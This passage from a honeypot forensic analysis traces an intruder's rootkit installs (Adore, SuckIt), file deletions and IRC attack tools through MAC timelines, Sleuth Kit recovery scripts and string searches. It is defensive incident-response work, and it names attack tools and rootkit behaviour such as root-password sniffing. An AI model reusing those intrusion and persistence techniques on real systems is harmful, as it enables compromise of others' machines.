The root/.bash_history was last updated when I logged out as root after creating the “test” user with the command `useradd`. The only thing left is to see what parts of the “test” user's `.bash_history` file I can verify. Looking through the timeline, I was able to pick out a number of correlations. To help with the visualization of events, I added the login and logout information previously gathered from the /var/log/messages file into the timeline.

If I were to add every interesting detail I could discern from the timeline, this analysis would be about 20 pages longer, so I will spare you the gory details on many of these points. I was able to find times for almost every chunk of commands in the `.bash_history` file. Here are a few of the more interesting points.
Table 6.6 Timeline: User "test" password change

| Date         | Size | Type | Mode      | UID  | GID  | Meta                  | File Name                                                      |
|--------------|------|------|-----------|------|------|-----------------------|                                                               |
| Tue Aug 17 2004 23:21:02 |      | SYSLOG | Shell 2    | (sshd) session closed for user test |      |                      |                                                                  |

Here, the hacker logged in as test and changed the password. This can be seen by the access to /usr/bin/passwd and the “cracklib_dict” files. These files are used to make sure the new password isn’t easy to crack, and are called every time a password is changed.

Table 6.7 Timeline: Adore install

| Date         | Size  | Type  | Mode      | UID  | GID  | Meta                   | File Name                                                      |
|--------------|-------|-------|-----------|------|------|------------------------|                                                               |
| Wed Aug 18 2004 05:15:37 | 12236 | ..c   | /-rw-r--r-- | 1001 | users | 52723                  | /home/test/expl/ex/lol/ado re-0.34/adore.c                     |
|              | 4096  | ..c   | d/drwxr-xr-x | 1001 | users | 52720                  | /home/test/expl/ex/lol/ado re-0.34                            |
|              |       | m.c   | /-rwrxr-x-x | root | root | 97962                  | /etc/rc.d/init.d/syslog                                       |
|              | 1192  | m.    | /-rwrxr-x-x | 1001 | users | 329123                 | /home/test/expl/ex/lol/sys logd.init                          |
| Wed Aug 18 2004 05:15:53 | 15477 | m.c   | /-rwrxrwx-r-x | root | root | 52712                  | /usr/bin/ava                                                  |
|              | 71    | .a.   | /-rw-r-r-- | root | root | 261387                 | /usr/src/linux-2.2.14/include/linux/modules-up/xor.ver         |
|              | 883   | .a.   | /-rw-r-r-- | root | root | 212323                 | /usr/src/linux-2.2.14/include/asm-1386/types.h                |
|              |       | .a.   | /-rw-r-r-- | root | root | 261207                 | /usr/src/linux-2.2.14/include/linux/modules-up/8390.ver        |
|              | 4096  | m.c   | d/drwxr-xr-x | root | root | 2093                   | /lib/modules/2.2.14-5.0/block                                 |
|              |       | ma.   | /-rw-r-r-- | 30    | root | 165526                 | /etc/sysconfig/console/def ault.ls                            |

In the section above, just a few of the things done during the install script execution are shown. The key entries are in bold; the installation of the Adore LKM, and the some of the helper files to go along with it.

The SuckIt rootkit installation left a very obvious mark on the file system, as did the resulting viral infection caused by its execution.
When SuckIt was installed, it moved /sbin/init out of the way, replaced it with sk, and added the files in /usr/local/games. When sk was executed, it started infecting the system. /bin/cat is the only executable file from the /bin directory that wasn't accessed at a later date, so it is the only one that shows up at the same time as the initial infection. Also, /dev/hdx1 and /dev/hdx2 were created the first time an infected program was run by the hacker.

The last thing the hacker did was log in and clean up after himself a bit. In the next section, there are references to a number of deleted files. If the filename is something like "<dd.hda6-dead-52786>" then there is a chance the file still exists, and can be recovered. If the filename is something like "/etc/rc.d/rc1.d/K60lpd (deleted-realloc)" then at least part of the file data has been overwritten and the chances of recovery are slim.
<table>
<thead>
<tr>
<th>Date</th>
<th>Size</th>
<th>Type</th>
<th>Mode</th>
<th>UID</th>
<th>GID</th>
<th>Meta</th>
<th>File Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>Wed Aug 18 2004 09:32:51</td>
<td>24</td>
<td>.a.</td>
<td>r-w-r-r--</td>
<td>test</td>
<td>test</td>
<td>100101</td>
<td>(deleted-realloc)</td>
</tr>
<tr>
<td></td>
<td>24</td>
<td>.a.</td>
<td>/-r-w-r-r--</td>
<td>test</td>
<td>test</td>
<td>101010</td>
<td>/home/test/.bash_logout</td>
</tr>
<tr>
<td></td>
<td>124</td>
<td>.a.</td>
<td>/-r-w-r-r--</td>
<td>test</td>
<td>test</td>
<td>100103</td>
<td>/home/test/.bashrc</td>
</tr>
<tr>
<td></td>
<td>3394</td>
<td>.a.</td>
<td>/-r-w-r-r--</td>
<td>test</td>
<td>test</td>
<td>101519</td>
<td>/home/test/.screenrc</td>
</tr>
<tr>
<td></td>
<td>333</td>
<td>.a.</td>
<td>/-rwxr-xr-x</td>
<td>test</td>
<td>test</td>
<td>100098</td>
<td>/home/test/.emacs</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>/etc/rc.d/rc0.d/K60lpd</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>/home/test/.bash_logout</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>/home/test/.bashrc</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>/home/test/.screenrc</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>/home/test/.emacs</td>
</tr>
<tr>
<td></td>
<td>1088</td>
<td>m..</td>
<td>-rw-r-r--</td>
<td>root</td>
<td>root</td>
<td>52785</td>
<td>&lt;dd.hda6-dead-52785&gt;</td>
</tr>
<tr>
<td></td>
<td>21929</td>
<td>m..</td>
<td>-rwxr-xr-x</td>
<td>nobody</td>
<td>nobody</td>
<td>52777</td>
<td>&lt;dd.hda6-dead-52777&gt;</td>
</tr>
<tr>
<td></td>
<td></td>
<td>m..</td>
<td>-rwxr-xr-x</td>
<td>nobody</td>
<td>nobody</td>
<td>52777</td>
<td>&lt;dd.hda6-dead-52777&gt;</td>
</tr>
<tr>
<td></td>
<td>0</td>
<td>m..</td>
<td>-rw-r-r--</td>
<td>root</td>
<td>root</td>
<td>52786</td>
<td>&lt;dd.hda6-dead-52786&gt;</td>
</tr>
<tr>
<td></td>
<td>0</td>
<td>m..</td>
<td>-rw-r-r--</td>
<td>root</td>
<td>root</td>
<td>52786</td>
<td>&lt;dd.hda6-dead-52786&gt;</td>
</tr>
<tr>
<td></td>
<td>0</td>
<td>m..</td>
<td>-rwxr-xr-x</td>
<td>nobody</td>
<td>nobody</td>
<td>52777</td>
<td>&lt;dd.hda6-dead-52777&gt;</td>
</tr>
<tr>
<td></td>
<td>121744</td>
<td>.a.</td>
<td>/-rwxr-xr-x</td>
<td>root</td>
<td>root</td>
<td>36373</td>
<td>/usr/bin/wget</td>
</tr>
<tr>
<td></td>
<td>3313</td>
<td>a..</td>
<td>/-r-w-r-r--</td>
<td>root</td>
<td>root</td>
<td>215102</td>
<td>/etc/wgetrc</td>
</tr>
<tr>
<td></td>
<td>46384</td>
<td>.a.</td>
<td>/-rwxr-xr-x</td>
<td>root</td>
<td>root</td>
<td>261793</td>
<td>/bin/gunzip</td>
</tr>
<tr>
<td></td>
<td>144592</td>
<td>.a.</td>
<td>/-rwxr-xr-x</td>
<td>root</td>
<td>root</td>
<td>263424</td>
<td>/bin/tar</td>
</tr>
<tr>
<td></td>
<td>17002</td>
<td>.a.</td>
<td>/-rwxr-xr-x</td>
<td>root</td>
<td>root</td>
<td>308954</td>
<td>/lib/libNoVersion-2.1.3.so</td>
</tr>
<tr>
<td></td>
<td>46384</td>
<td>.a.</td>
<td>/-rwxr-xr-x</td>
<td>root</td>
<td>root</td>
<td>261793</td>
<td>/bin/gzip</td>
</tr>
<tr>
<td></td>
<td>46384</td>
<td>.a.</td>
<td>/-rwxr-xr-x</td>
<td>root</td>
<td>root</td>
<td>261793</td>
<td>/bin/zcat</td>
</tr>
<tr>
<td></td>
<td>20135</td>
<td>ma..</td>
<td>-rwxr-xr-x</td>
<td>nobody</td>
<td>nobody</td>
<td>52779</td>
<td>&lt;dd.hda6-dead-52779&gt;</td>
</tr>
<tr>
<td></td>
<td>16832</td>
<td>ma..</td>
<td>-rwxr-xr-x</td>
<td>nobody</td>
<td>nobody</td>
<td>52778</td>
<td>&lt;dd.hda6-dead-52778&gt;</td>
</tr>
<tr>
<td></td>
<td>42930</td>
<td>.a.</td>
<td>/-r-w-r-r--</td>
<td>nobody</td>
<td>nobody</td>
<td>52783</td>
<td>&lt;dd.hda6-dead-52783&gt;</td>
</tr>
<tr>
<td></td>
<td>206</td>
<td>.a.</td>
<td>-rwxr-xr-x</td>
<td>nobody</td>
<td>nobody</td>
<td>52773</td>
<td>&lt;dd.hda6-dead-52773&gt;</td>
</tr>
<tr>
<td></td>
<td>16230</td>
<td>ma..</td>
<td>-rwxr-xr-x</td>
<td>nobody</td>
<td>nobody</td>
<td>52776</td>
<td>&lt;dd.hda6-dead-52776&gt;</td>
</tr>
<tr>
<td></td>
<td>34677</td>
<td>ma..</td>
<td>-rwxr-xr-x</td>
<td>nobody</td>
<td>nobody</td>
<td>52780</td>
<td>&lt;dd.hda6-dead-52780&gt;</td>
</tr>
<tr>
<td></td>
<td>13516</td>
<td>.a.</td>
<td>/-r-w-r-r--</td>
<td>nobody</td>
<td>nobody</td>
<td>52775</td>
<td>&lt;dd.hda6-dead-52775&gt;</td>
</tr>
<tr>
<td></td>
<td>1088</td>
<td>.a.</td>
<td>/-r-w-r-r--</td>
<td>root</td>
<td>root</td>
<td>52785</td>
<td>&lt;dd.hda6-dead-52785&gt;</td>
</tr>
<tr>
<td></td>
<td>121</td>
<td>.a.</td>
<td>-rwxr-xr-x</td>
<td>nobody</td>
<td>nobody</td>
<td>52774</td>
<td>&lt;dd.hda6-dead-52774&gt;</td>
</tr>
<tr>
<td></td>
<td>55334</td>
<td>.a.</td>
<td>/-r-w-r-r--</td>
<td>root</td>
<td>root</td>
<td>52788</td>
<td>&lt;dd.hda6-dead-52788&gt;</td>
</tr>
<tr>
<td></td>
<td>34806</td>
<td>ma..</td>
<td>-rwxr-xr-x</td>
<td>nobody</td>
<td>nobody</td>
<td>52784</td>
<td>&lt;dd.hda6-dead-52784&gt;</td>
</tr>
<tr>
<td></td>
<td>42762</td>
<td>.a.</td>
<td>/-r-w-r-r--</td>
<td>nobody</td>
<td>nobody</td>
<td>52781</td>
<td>&lt;dd.hda6-dead-52781&gt;</td>
</tr>
<tr>
<td></td>
<td>5767</td>
<td>.a.</td>
<td>/-r-w-r-r--</td>
<td>nobody</td>
<td>nobody</td>
<td>52782</td>
<td>&lt;dd.hda6-dead-52782&gt;</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>/home/test/exp1/ex/aklol.tgz (deleted)</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>/home/test/exp1/ex/ssh.tgz (deleted)</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>/home/test/exp1/ex/woot.tgz (deleted)</td>
</tr>
<tr>
<td></td>
<td>53682</td>
<td>.a.</td>
<td>/-r-w-r-r--</td>
<td>root</td>
<td>root</td>
<td>329175</td>
<td>&lt;dd.hda6-dead-329175&gt;</td>
</tr>
<tr>
<td></td>
<td>53682</td>
<td>.a.</td>
<td>/-r-w-r-r--</td>
<td>root</td>
<td>root</td>
<td>329175</td>
<td>&lt;dd.hda6-dead-329175&gt;</td>
</tr>
<tr>
<td></td>
<td>589085</td>
<td>.a.</td>
<td>/-r-w-r-r--</td>
<td>root</td>
<td>root</td>
<td>329173</td>
<td>&lt;dd.hda6-dead-329173&gt;</td>
</tr>
<tr>
<td></td>
<td>144140</td>
<td>.a.</td>
<td>/-r-w-r-r--</td>
<td>root</td>
<td>root</td>
<td>329172</td>
<td>&lt;dd.hda6-dead-329172&gt;</td>
</tr>
<tr>
<td></td>
<td>42762</td>
<td>.c</td>
<td>/-r-w-r-r--</td>
<td>nobody</td>
<td>nobody</td>
<td>52781</td>
<td>&lt;dd.hda6-dead-52781&gt;</td>
</tr>
<tr>
<td></td>
<td>23610</td>
<td>mac</td>
<td>/-rwxr-xr-x</td>
<td>root</td>
<td>root</td>
<td>329056</td>
<td>/home/test/exp/p</td>
</tr>
<tr>
<td></td>
<td>42930</td>
<td>.c</td>
<td>/-r-w-r-r--</td>
<td>nobody</td>
<td>nobody</td>
<td>52783</td>
<td>&lt;dd.hda6-dead-52783&gt;</td>
</tr>
<tr>
<td></td>
<td>5767</td>
<td>.c</td>
<td>/-r-w-r-r--</td>
<td>nobody</td>
<td>nobody</td>
<td>52782</td>
<td>&lt;dd.hda6-dead-52782&gt;</td>
</tr>
<tr>
<td></td>
<td>21929</td>
<td>.c</td>
<td>/-rwxr-xr-x</td>
<td>nobody</td>
<td>nobody</td>
<td>52777</td>
<td>&lt;dd.hda6-dead-52777&gt;</td>
</tr>
</tbody>
</table>

Page 39
Lots of files were deleted in this section. The last thing done was the final update of the `/home/test/.bash_history` right after the final logout. Goodbye Mr. Hacker! Come back soon, ya’ hear? Well, maybe not. :)

One interesting note is the time difference between the last file deletion at 9:55:55, and the logout at 14:47:18. It is possible that nothing happened during this time, and the hacker just left the shell open while he went to dinner or something. It is also possible that the hacker used this time period to clean up a bit more thoroughly, removing the `psybnc.tgz` and `mirkforce.tgz` archive files, and the `emcf` directory. Unfortunately, there is no way to tell.

The only thing left to cover in the timeline was me logging in as root, to start my
investigation. Here, my login is shown, along with the update to the /usr/local/games/.sniffer file when the SuckIt rootkit captured the root password.

<table>
<thead>
<tr>
<th>Date</th>
<th>Size</th>
<th>Type</th>
<th>Mode</th>
<th>UID</th>
<th>GID</th>
<th>Meta</th>
<th>File Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>Fri Aug 20 2004</td>
<td>20452</td>
<td>.a.</td>
<td>-/rwx-xr-x</td>
<td>root</td>
<td>root</td>
<td>263908</td>
<td>/bin/login</td>
</tr>
<tr>
<td>Fri Aug 20 2004</td>
<td>6196</td>
<td>.a.</td>
<td>-/rwx-xr-x</td>
<td>root</td>
<td>root</td>
<td>65395</td>
<td>/lib/security/pam_nologin.so</td>
</tr>
<tr>
<td>Fri Aug 20 2004</td>
<td>164253</td>
<td>.a.</td>
<td>-/rwx-xr-x</td>
<td>root</td>
<td>root</td>
<td>146683</td>
<td>/usr/lib/libglib-1.2.so.0.0.6</td>
</tr>
<tr>
<td>Fri Aug 20 2004</td>
<td>70</td>
<td>m.c</td>
<td>-/rw--w--w--</td>
<td>root</td>
<td>root</td>
<td>312901</td>
<td>/usr/local/games/.sniffer</td>
</tr>
<tr>
<td>Fri Aug 20 2004</td>
<td>40</td>
<td>.a.</td>
<td>-/rw--------</td>
<td>root</td>
<td>root</td>
<td>211344</td>
<td>/etc/securetty</td>
</tr>
</tbody>
</table>

Table 6.10 Timeline: Root login, and .sniffer password capture

Running Summary, Part 5

Most of the information presented in the timeline analysis section wasn't really new, it was just verifying evidence already presented. However, it was a long section, so it's time for another running summary.

A Honeypot system was created, and an MD5 hash was taken of each file on the original, un-hacked system. The Honeypot was then exposed to the world, and got hacked. Initial evidence was gathered off the running system, and it was shut down. A duplicate of the data on the Hard Disk was made for analysis. A comparison of the MD5 hashes from the original system and the hacked image showed a relatively small amount of files had actually been changed.

The hacker broke in after finding the “test” user account with an easy password. He didn't try to hide his tracks at all, so most of his actions can be easily verified by looking at modified files on the compromised image, and by looking at the .bash_history file for the “test” user. Login and logout times can easily be verified by looking at existing system logs that were never cleaned by the attacker. After logging in and changing the password for “test”, the hacker proceeded to gain root access and install a number of programs, ranging from scanners, to IRC attack programs, to Rootkits of various types. 2 packages were deleted; the ones containing asmb and mirkforce. Network logs captured during the incident do indicate that these two programs were installed and run. It also appears that the hacker installed a utility for hiding source IPs while connecting to an IRC server, called “psybnc”. However, no evidence of the files can be found on disk and network logs do not show that it was ever used. The only source of evidence for “psybnc” is the .bash_history file for the “test” user.

The hacker also managed to infect the system with a RST virus when he ran the SSH scanner. The time the infection occurred was verified easily by looking at the infected files, and the timeline of file modifications on the hacked image.

As the last command listed in the .bash_history file, the hacker deleted a few of the archive files he had downloaded, and deleted the directory containing the asmb programs. The timing of this command was also easily verified by looking at the MAC timeline.

7 Recover Deleted Files

The next part of the analysis was to try to recover any deleted files from the hacked disk image and figure out what they were originally. To understand how this is possible, lets revisit
the “two notebook file system analogy” on page Error! Bookmark not defined. When new data is created, a metadata page is used to describe that data. When the data is no longer needed, the most secure thing to do would be to completely erase each page of data, and completely erase everything on the metadata page. However, the most efficient thing to do is just erase the name on the metadata page, and mark the page is “available for use.” Why waste the eraser if you don’t need to?

On a computer file system, efficiency is the key. If a file is erased the name of the file is erased from the inode, the inode is marked as available, and that's about it. The rest of the metadata is left alone, as is the data it points to. Only if the data block or the inode is needed for another file is anything actually overwritten. This means a deleted file can be recovered, as long as the data or metadata wasn't overwritten. Even if the metadata was overwritten, the data may still be available, but generally not as a recoverable file.

To try to recover any deleted files on the disk image, I used more tools from “The Sleuth Kit.” First, I used ils to list the inodes of all the deleted files on the image. Because I wanted the name of the file to include the inode number of the deleted file, and the time it was deleted, I ran the list of inodes through mactime and found the last time the ctime had been modified, which is the time the file was deleted. I used the inode number as input to icat and recovered the deleted file. The only new program I used was icat. icat is specifically created to copy files by inode number. Give it an inode number and a disk image, and it will print the file to the screen. icat doesn't care what the file was named, or if it had been deleted.

Since I didn't feel like doing this file recovery by hand (there were over 6000 inodes pointing to deleted files on the dd.hda6 image alone!) I made a simple script to do the work for me. Here is that script:

```
#!/bin/bash
export image=$1
export dest=$2
nodelist=`ils -r $image | awk -F '|' '{($2=="f") {print $1}}'
for i in $nodelist; do
date=`ils -rm $image $i|mactime -d|grep ":":|cut -d"," -f 1|tr "": " "|tr "s." "s-"
echo "$image-$date-$i"
icat $image $i > $dest/$date-$i;
done
```

Text 7.1 recover-all script

After this script ran, I had a directory full of recovered files. All of them had names like “Fri-Jul-30-2004-00-08-48-165892” or “Mon-Aug-16-2004-23-04-08-215400”. My next job was to separate the chaff from the wheat, as it were, and figure out which of these files were deleted by the hacker. With the deletion times of the recovered files, that job became much easier. Anything deleted before the incident wasn't the hacker. That eliminated 6063 files. Next, all 23 files of zero length eliminated. After that, it was time to look at the remaining 47 recovered file by hand and try to figure out what it was. Any file I could recognize as being deleted by the system during normal operations was also eliminated.

Surprisingly, the number of files remaining were very small. By the time I was finished, only a handful of files remained.
Conspicuously missing were the files from inside the missing “w00t” directory, and any files from the “mirkforce.tgz” archive that was apparently downloaded, unpacked, and run. Also, the “psybcn.tgz” archive that was supposedly downloaded was missing.

The “woot.tgz” file was recovered, but the data inside was corrupt. The beginning of the file had been overwritten by the cron process logs. The data was basically useless.

One good note is that the archive files I did retrieve were the same as the archive files downloaded from the Internet using the commands found in the .bash_history file. This meant it was likely that the archive files “woot.tgz”, “mirkforce.tgz”, and “psybcn.tgz” that I downloaded after the incident were probably the same as the ones downloaded by the hacker during the incident. I could use data from these archive files to run a strings search on the hacked disk image. Perhaps I could find some evidence of the missing programs.

8 String Search

The last thing to do for the analysis was run a string search on the hacked disk image and see if any extra information could be gathered. Since the hacker didn't really try to hide at all, there wasn't as much to search for as their could have been. The locations the hacker came from are known and easily verified, what programs were modified, and just about every command run is also known. Things one would look for in a normal hack attempt have already been discovered.

However, there are a few unanswered questions. What happened to the “w00t” and “ecmP” directories, and where did psyncn.tgz and mirkforce.tgz go? It is possible that both download attempts for psyncn.tgz failed, but the second attempt looks like it was run in the /var/tmp directory, which would have been writable by the “test” user. Network logs verified that programs from both “woot.tgz” and “mirkforce.tgz” were run from the system, but all of these files are gone. There isn’t even any record of “mirkforce.tgz” being deleted. Although it is possible all the metadata and data from these files were overwritten, it isn't likely.

Having downloaded and unpacked the woot.tgz and mirkforce.tgz archives already, I had a good idea of what had been inside the original directories. I used these new directories and files to generate a list of “dirty words.” After creating an indexed list of ASCII strings taken from the disk image, I would search for matches to this “dirty word list.” Using the index, I would then look at the data near where the match was found and see if there was anything else.
useful in the surrounding data.

I really wasn't interested in doing a search of the entire disk image, only the parts of the image that weren't being used anymore; the parts where deleted files could be hiding. I had to separate the unallocated data blocks from the allocated ones. To do this, I used a “Sleuth Kit” program called dls. dls opens up a disk image, and outputs all unallocated data blocks. The command line is very simply

dls dd.hda6 > dd.hda6.dls

<table>
<thead>
<tr>
<th>Option</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>dd.hda6</td>
<td>Use the “dd.hda6” image file</td>
</tr>
<tr>
<td>&gt; dd.hda6.dls</td>
<td>write the output to the file “dd.hda6.dls”</td>
</tr>
</tbody>
</table>

*Table 8.1 dls options*

The next step in this process is to create the indexed list of strings from the image. This can easily be done using the strings utility. The command and options I used are listed below:

strings -a -t d dd.hda6.dls > dd.hda6.dls.str

<table>
<thead>
<tr>
<th>Option</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>-a</td>
<td>Scan the whole file for ascii strings</td>
</tr>
<tr>
<td>-t d</td>
<td>Print the decimal offset within the file before each string. This is the distance from the beginning of the file to the string.</td>
</tr>
<tr>
<td>dd.hda6.dls</td>
<td>Use the “dd.hda6.dls” image file</td>
</tr>
<tr>
<td>&gt; dd.hda6.dls.str</td>
<td>write the output to the file “dd.hda6.dls.str”</td>
</tr>
</tbody>
</table>

*Table 8.2 strings options*

The next step is to find matches between the strings list and the dirty word list. The easiest way to do this is to use the egrep command. egrep is a utility used to find matches between a list of words or phrases and data in a file. The command is relatively simple:

egrep -H -f smalldwlist dd.hda6.dls.str > hits.smalldwlist

<table>
<thead>
<tr>
<th>Option</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>-H</td>
<td>Print the filename in which the match was found at the beginning of each line.</td>
</tr>
<tr>
<td>-f smalldwlist</td>
<td>Use the word list “smalldwlist”</td>
</tr>
<tr>
<td>dd.hda6.dls.str</td>
<td>Search for matches inside “dd.hda6.dls.str”</td>
</tr>
<tr>
<td>&gt; hits.smalldwlist</td>
<td>Write the output to “hits.smalldwlist”</td>
</tr>
</tbody>
</table>

*Table 8.3 egrep options*

Once a match is found, the data fragment where the string is located has to be viewed to see if the match is good. The equation for this is fairly simple:

\[
\text{Integer} \left\lceil \frac{\text{Decimal byte offset}}{\text{Data fragment size}} \right\rceil
\]
The decimal byte offset is already known because its listed with each match. The Data fragment size is dependent on the disk image. It can be found by running the `fsstat` command on the disk image. `fsstat` is another “Sleuth Kit” utility used to show useful information about a disk image. One piece of information is the Data Fragment size. In the case of my hacked disk image, `fsstat` showed that the Data Fragment size was 4096 bytes.

```bash
[boingo: ~/hp-aut/images]$ fsstat dd.hda6
FILE SYSTEM INFORMATION
--------------------------------------------
File System Type: EXT2FS
Volume Name: 
Last Mount: Fri Jul 30 02:33:32 2004
Last Write: Sat Aug 21 04:04:01 2004
Last Check: Wed Jul 14 03:14:40 2004
Unmounted Improperly
Last mounted on:
Operating System: Linux
Dynamic Structure
InCompat Features: Filetype,
Read Only Compat Features: Sparse Super,

META-DATA INFORMATION
--------------------------------------------
Inode Range: 1 - 357632
Root Directory: 2

CONTENT-DATA INFORMATION
--------------------------------------------
Fragment Range: 0 - 714883
Block Size: 4096
Fragment Size: 4096
....
```

Presumably, I would get many hits on a dirtywordlist search, and converting the byte offset to fragment number by hand would be tedious to say the least. To speed the process, I created a small PERL script to do the work for me. Just give it results of the `egrep` search that had decimal byte offset and the word match, and it would convert the byte offsets to Fragment numbers so the matches could be examined.
The dirty word list I used contained strings from inside all the missing files. I tried to pick things that were unique to avoid a huge number of false positives. Here is the dirty word list I used to try to find the mirkforce and w00t files:

I ran a search against strings output from the unallocated portion of dd.hda6. I found zero matches! To make sure I wasn't doing anything wrong, I ran the same search against the full disk image and got 29 matches. So, my process was right, there just weren't any matches. Next, I used the unique parts of the strings output from the downloaded pscan2 program (the executable actually run by the asmb script) to see if there were any matches. Again nothing!

```
#!/usr/bin/perl

die "need 2 args: match file, and fragment size"
Note: the match file must be in the format
<filename>:<byte offset> <data>
unless $#ARGV == 1;
$file=$ARGV[0];
$fragsize=$ARGV[1];

print "opening $file\n";
open (FILE, "$file");
print "converting string offset to fragment number\n";
print "using $fragsize as the fragment size.\n";

while (<FILE>)
{
  $_.=~/(^[^-]*)\:([0-9]*) (.*$)/;
  # print "$1=$1\n2=$2\n3=$3\n";
  $fragnum=int($2 / $fragsize);
  print "$1 $fragnum $3\n";
}
```

Text 8.3 Dirty word list

I ran a search against strings output from the unallocated portion of dd.hda6. I found zero matches! To make sure I wasn't doing anything wrong, I ran the same search against the full disk image and got 29 matches. So, my process was right, there just weren't any matches. Next, I used the unique parts of the strings output from the downloaded pscan2 program (the executable actually run by the asmb script) to see if there were any matches. Again nothing! I
continued this process, incorporating strings from various locations until I added strings from the `.bash_history` file of the “test” user. Finally, I got a few hits! One hundred and forty seven, to be exact! I ran the `egrep` output through my PERL script, and found the fragment number for each match.

```
[boingo: ~/hp-aut/output]$ cat hits.dls.any.frag
dd.hda6.dls.str 149000 66.116.64.0
dd.hda6.dls.str 149000 66.116.67.255
dd.hda6.dls.str 149000 66.116.68.0
....
dd.hda6.dls.str 149000 66.116.69.207
dd.hda6.dls.str 149000 66.116.69.142
dd.hda6.dls.str 149000 66.116.71.74
dd.hda6.dls.str 149000 66.116.75.39
dd.hda6.dls.str 149000 66.116.82.0
dd.hda6.dls.str 149000 66.116.70.139
dd.hda6.dls.str 149000 66.116.70.145
....
[boingo: ~/hp-aut/output]$
```

**Text 8.4 strings matches between word list and unallocated data**

Most of the hits were in one location, unallocated data fragment 149000. Unfortunately, this didn't mean it was on the data fragment 149000 on the dd.hda6 disk image. To get the real data fragment number from the full disk image, I had to use the `dcalc` utility. `dcalc` is a “Sleuth Kit” program used to convert between unallocated data fragment numbers, and disk image fragment numbers. Feed `dcalc` the unallocated data fragment number, and the disk image, and it returns the real data fragment number. In this case, it was fragment 388494.

I used `dcat` to view the contents of data fragment 388494. `dcat` is another “Sleuth Kit” utility; this one designed to print the contents of a data fragment.

```
[boingo: ~/hp-aut/output]$ dcat ../images/dd.hda6 388494
66.116.64.0
66.116.67.255
66.116.68.0
66.116.68.37
....
66.116.75.39
66.116.82.0
66.116.70.139
66.116.70.145
66.116.69.142
[boingo: ~/hp-aut/output]$
```

**Text 8.5 contents of data fragment 388494**

Yup! It's a list of IP addresses all right! During the analysis, I found 3 commands in the `.bash_history` file that could potentially generate a list of IP addresses. Two commands, #38 and #39, were from when the `go.sh` was run inside the “scan-ssh” directory. The last command was #50 when `asmb` was run from the missing “w00t” directory. Since the data in fragment 388494 was inconclusive, I decided to look at the fragments directly before and after 388494.
The data in fragment 388493 looks exactly like the `go.sh` script in the “scan-ssh” directory. The data in fragment 388495 looks like the probable output from command #39, “./go.sh 192.153”. It looks like all I found was the lost “bios.txt” file that was removed during the execution of `go.sh`. Ah well, life goes on!

No useful data was recovered via string searches on the unallocated parts of the disk image. When I examined the entire `strings` output of the unallocated data blocks of dd.hda6, I found that most of the strings were either logs, names of man pages, or names of files on the disk. It looks like the normal nightly cronjob processing had overwritten any useful data in the unallocated sections of the disk. Anything that had been deleted was truly gone.

With nothing left to search for, the analysis was done. All that was left to do was gather my thoughts, and write them all down in as coherent a manner as possible.
9 Conclusion

9.1 Final Summary

A Red Hat Linux 6.2 system that was setup as a Honeypot. An MD5 hash was taken of each file on the original, un-hacked system. The Honeypot was then exposed to the world, and got hacked. Outside confirmation that a hack took place was provided by a scanner system watching the network in front of the Honeypot.

The hacker connected via SSH from the IP 202.28.25.130 on August 17th 2004 at 22:23:18 PST. This connection was part of an automated scan searching for easy to guess user/password combinations. The hacker logged in as the user, “test” and stayed login for 40 seconds. The hacker connected again via SSH from the IP 81.196.70.89 on the same date, at 23:18:28 PST. This time, the hacker changed the password for the user “test” and logged out. On August 18th, at 4:02:30 PST the attack began in earnest. Between 4:02:30 and 14:47:18 PST, the hacker logged in via SSH at least 4 times, all from the same IP, 195.78.42.162.

All of the verifiable damage was done to the Honeypot system between August 17th 2004 at 23:18:28 (when the password was changed,) and August 18th 2004 at 9:55:55 (the last recorded file deletion.)

On August 20th at 20:52:27 PST, the system administrator of the Honeypot logged into the console as root and gathered some preliminary data from the system. During this process, the system administrator re-triggered a virus left on the Honeypot by the attacker. This modified some timestamps, but did not cause much actual loss of evidence. He also triggered one of the programs left behind by the hacker that captured the root password and put it in the file, “/usr/local/games/.sniffer”. The system was then shutdown, and the hard disk removed for analysis.

A duplicate of the data on the hard disk was made, and that duplicate was moved to a forensic system for analysis. A comparison of the MD5 hashes from the original system and the hacked image was done, and 353 different files were discovered. 265 of those files could not be accounted for as changed by either the system administrator or normal, day to day system activity.

Because the hacker didn't try to hide his tracks at all, most of his actions were easily verified by looking at modified files on the compromised disk image, or by looking at the .bash_history file for the “test” user. Login and logout times were easily verified by looking at existing system logs that were never cleaned by the attacker. What follows is a summary of what the hacker did while on the system.

After logging in and changing the password for “test”, the hacker proceeded to download and use two programs that used a “ptrace” exploit to gain root access. After gaining root access, the hacker installed:
1. Many modified binaries
2. The Adore Loadable Kernel Module Rootkit
3. A modified version of the SSH service
4. A number of custom programs for doing things like attacking other systems or cleaning system logs
5. A SSH scanner to find other vulnerable systems
6. A Kernel Level Rootkit called “SuckIt” that provides an encrypted remote shell (presumably with root access), hides files and processes from non-“SuckIt” users, and captures login
information for anyone who logs into the system.
7. A SMB scanner named “asmb” which appears to have been run, and then deleted.
8. “Mirkforce”, a program for conducting a DOS attack on an IRC server, which also appears to have been run, and then deleted.
9. Modified startup scripts to allow the modified SSH, and both Rootkits to be run on reboot.
   Two archive files, woot.tgz, and mirkforce.tgz, were deleted at some time during the attack. No trace of these archive files or the files contained in them can be found on the disk image. Network logs captured during the incident do indicate that they were run, as do commands listed in the .bash_history file. It also appears that the hacker installed a utility for hiding source IPs while connecting to an IRC server, called “psybnc”. However, no evidence of the files can be found on disk and network logs do not show that it was ever used. The only source of evidence for “psybnc” is the .bash_history file for the “test” user.
